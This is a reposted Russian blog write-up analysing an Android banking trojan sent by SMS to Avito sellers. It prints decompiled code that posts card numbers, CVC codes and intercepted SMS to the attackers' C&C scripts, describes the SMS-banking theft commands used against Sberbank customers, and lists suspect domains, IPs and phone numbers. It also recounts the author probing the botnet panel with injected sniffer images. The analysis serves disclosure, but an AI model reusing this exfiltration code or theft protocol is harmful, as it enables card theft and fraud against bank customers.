- PVSM.RU - https://www.pvsm.ru -
Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.
Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.
Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.
Итак, что умеет этот троян:
protected HttpRequestBase a()
{
try
{
HttpPost httppost = new HttpPost(d());
ArrayList arraylist = new ArrayList();
arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
arraylist.add(new BasicNameValuePair("number", b));
arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
return httppost;
}
catch(UnsupportedEncodingException unsupportedencodingexception)
{
unsupportedencodingexception.printStackTrace();
}
return null;
}
protected String d()
{
return new String((new StringBuilder()).append(a).append("set_card.php").toString());
}
protected HttpRequestBase a()
{
try
{
HttpPost httppost = new HttpPost(d());
ArrayList arraylist = new ArrayList();
arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
return httppost;
}
catch(UnsupportedEncodingException unsupportedencodingexception)
{
unsupportedencodingexception.printStackTrace();
}
return null;
}
protected String d()
{
return new String((new StringBuilder()).append(a).append("get.php").toString());
}
protected HttpRequestBase a()
{
try
{
JSONObject jsonobject = new JSONObject();
jsonobject.put("text", c);
jsonobject.put("number", d);
jsonobject.put("date", e);
HttpPost httppost = new HttpPost(d());
ArrayList arraylist = new ArrayList();
arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
return httppost;
}
catch(UnsupportedEncodingException unsupportedencodingexception)
{
unsupportedencodingexception.printStackTrace();
}
catch(JSONException jsonexception)
{
jsonexception.printStackTrace();
}
return null;
}
protected String d()
{
return new String((new StringBuilder()).append(a).append("load_sms.php").toString());
Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера.
В СМС пришла коротка ссылка, которая развернулась в ссылку на сервер i-avito.com. Просканировав этот сервер через nmap, я получил еще один домен deskdistributor.com, который был в title на 443-порту.
NSE: Script Post-scanning.
Initiating NSE at 17:18
Completed NSE at 17:18, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at nmap.org/submit/ [2].
Nmap done: 1 IP address (1 host up) scanned in 43.49 seconds
Быстрый поиск в интернете дал еще несколько доменов: m-avito.com, m-avito.net (176.119.3.51), m-avito.info (91.237.198.115), а поискав по whois-данным, нашел еще один подозрительный домен 1host.name (94.242.227.67), который представляет из себя скорее заглушку, нежели информационный сайт. Сам вирус обращается к домену jewelrycover.com (91.237.198.124), который, вероятно, был либо перекуплен, либо администратор ботнета завладел им с помощью фишинга [3]
После исследования pcap-файлов, полученных из sandbox'ов и собственноручно, я обнаружил полную ссылку на CnC и формат получаемых и отправляемых на сервер данных. Мобильное устройство с каким-то временным интервалом обращалось на скрипт get.php, каждый раз передавая свой ID, созданный путем подсчитывания MD5-хеша от IMEI, страны, названия телефонного оператора, версии Android и модели телефона, а в ответ либо получало, либо не получало команду. Если устройством была получена какая-то команда, на сервер отправлялось уведомление по адресу set_result.php с ID устройства и названием команды. Скрипту load_sms.php отправлялись все входящие СМС.
На момент исследования вируса, он был настроен на похищение денег клиентов Сбербанка с использованием мобильного СМС-банкинга, и только один раз я получал от сервера команду на отправку ссылки на вирус первому попавшемуся адресу из адресной книги устройства.
Первым делом, сервер посылал команду rent&&&, чтобы получать все приходящие на устройство СМС-сообщения. Затем отправлялось сообщение ИНФО на номер 900 — номер мобильного банка Сбербанка. На сервер передавалась информация о картах клиента. Затем, сервер отправялял команду sent&&& с запросом баланса о каждой карте. Далее отправлялась команда либо на перевод денег на счет сбербанка (8000 рублей), либо на пополнение счета абонентам МТС (3000 рублей).
В целом, происходило то, что описано было описано в недавней статье про способ воровства денег клиентов Сбербанка, но автоматизированно.
Другие команды сервер не посылал. Если сервер получал ответ на запрос ИНФО, что обладатель устройства не является клиентом Сбербанка, дальнейших ответов от сервера не поступало.



Я написал небольшой скрипт [4], который эмулирует поведение бота. И как-то в голову закралась мысль, что, с большой вероятностью, в панели администратора имеются уязвимости. Никаких SQL-инъекций мне найти не удалось, и я решил вставлять картинку-сниффер во все передаваемые значения: в имя оператора, в название модели устройства, в уведомление о выполненной команде, в текст смс, ну вы поняли. Ничего не происходило.
Я запустил скрипты в цикле с целью собрать побольше номеров телефонов злоумышленников.
Номера МТС:
9877251451 3000
9877251519 3000
9877298049 3000
9877299230 3000
9877298819 3000
9877298775 3000
9818915169 3000
9877299466 3000
9117187631 3000
9877251259 3000
9873389680 3000
9198360569 3000
9873389735 3000
9873389737 3000
9873389766 3000
9877251151 3000
9198227849 3000
9877251169 3000
9877251851 3000
9877251136 3000
Я продолжал сканирование серверов и поиск уязвимостей. Нашлись phpmyadmin и squirrelmail, однако, уязвимостей в них найти не удалось. И тут, совершенно случайно, сервер упал. Страницы не открывались, пинги не шли. Я открыл сниффер, и что же я вижу!?

Сниффер словил и referer, который вел на панель администратора. Так я позорно деактивировал ботнет. Можете официально меня гнобить и унижать.
Номера мошенников переданы службе безопасности Сбербанка, IP-адрес передан службе безопасности Beeline, хостерам написаны abuse.
Автор: ValdikSS
Источник [5]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/android/68388
Ссылки в тексте:
[1] nmap.org: http://nmap.org
[2] nmap.org/submit/: http://nmap.org/submit/
[3] фишинга: https://www.facebook.com/permalink.php?story_fbid=408150299308434&id=408147072642090
[4] скрипт: http://youtu.be/jEiGCWa2_eA?t=2m44s
[5] Источник: http://habrahabr.ru/post/234663/
Нажмите здесь для печати.